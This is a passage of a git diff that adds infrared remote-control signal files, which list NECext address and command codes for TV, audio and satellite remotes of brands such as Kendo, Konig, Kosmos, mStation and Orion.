00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: STREAM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir b/assets/resources/infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir new file mode 100644 index 000000000..341c790de --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 01 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 02 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 07 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 08 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 09 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0B 00 00 00 +# +name: KEY_DISPLAYTOGGLE +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 19 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 1A 00 00 00 +# +name: CLOCK +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir b/assets/resources/infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir new file mode 100644 index 000000000..a544229b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 10 00 00 00 +# +name: quick-view +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 11 00 00 00 +# +name: tv-av +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 13 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 14 00 00 00 +# +name: tone +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 15 00 00 00 +# +name: bar +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 16 00 00 00 +# +name: time-select +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 17 00 00 00 +# +name: time-set +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 18 00 00 00 +# +name: mono +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 19 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 1A 00 00 00 +# +name: auto-mem +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 1B 00 00 00 +# +name: ch-skip +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 1D 00 00 00 +# +name: aft +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 1E 00 00 00 +# +name: status +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 40 00 00 00 +# +name: display-cancel +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 42 00 00 00 +# +name: tune-right +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 43 00 00 00 +# +name: tune-left +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 44 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 45 00 00 00 +# +name: expand +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 46 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 47 00 00 00 +# +name: reveal +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 48 00 00 00 +# +name: browse +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 49 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4A 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4C 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir new file mode 100644 index 000000000..a2d2e03c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: P/L +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: V/H +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: J17 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: W/N +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir b/assets/resources/infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir new file mode 100644 index 000000000..05290043b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: FR +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 05 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 0F 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 19 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 1A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 1C 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir new file mode 100644 index 000000000..6e6fc2973 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: bass+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: bass- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: KEY_L +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: sr- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: sl+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: sl- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: c+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: c- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: sr+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: KEY_R +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: treble+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: treble- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir new file mode 100644 index 000000000..a2cabf444 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: Lum+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: Col+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: Lum- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: Col- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: V-M +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: P/C +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: Muto +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: L1-L2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: Canc +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: TV-TVD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: All +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: Riv +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: spento +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: Ora +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir new file mode 100644 index 000000000..2ec52044c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: normal +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: I-II +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: oo +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: bluh +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: powa +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: yellooo +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir new file mode 100644 index 000000000..11b394a78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir new file mode 100644 index 000000000..ab95c4c3d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 00 00 00 00 +# +name: CD/MD +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 01 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 02 00 00 00 +# +name: Scroll +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 03 00 00 00 +# +name: .../... +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 04 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 05 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 06 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 07 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 08 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 0D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 0F 00 00 00 +# +name: Skip+/SearchRight +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 10 00 00 00 +# +name: Skip/SearchLeft +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 13 00 00 00 +# +name: Prog/Random +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 14 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 1A 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 1B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 1C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 1D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 1F 00 00 00 +# +name: Auto_Blank +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 40 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 41 00 00 00 +# +name: CD_Synchro +type: parsed +protocol: NECext +address: 80 58 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir new file mode 100644 index 000000000..1b95610a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: GuideUp +type: parsed +protocol: NECext 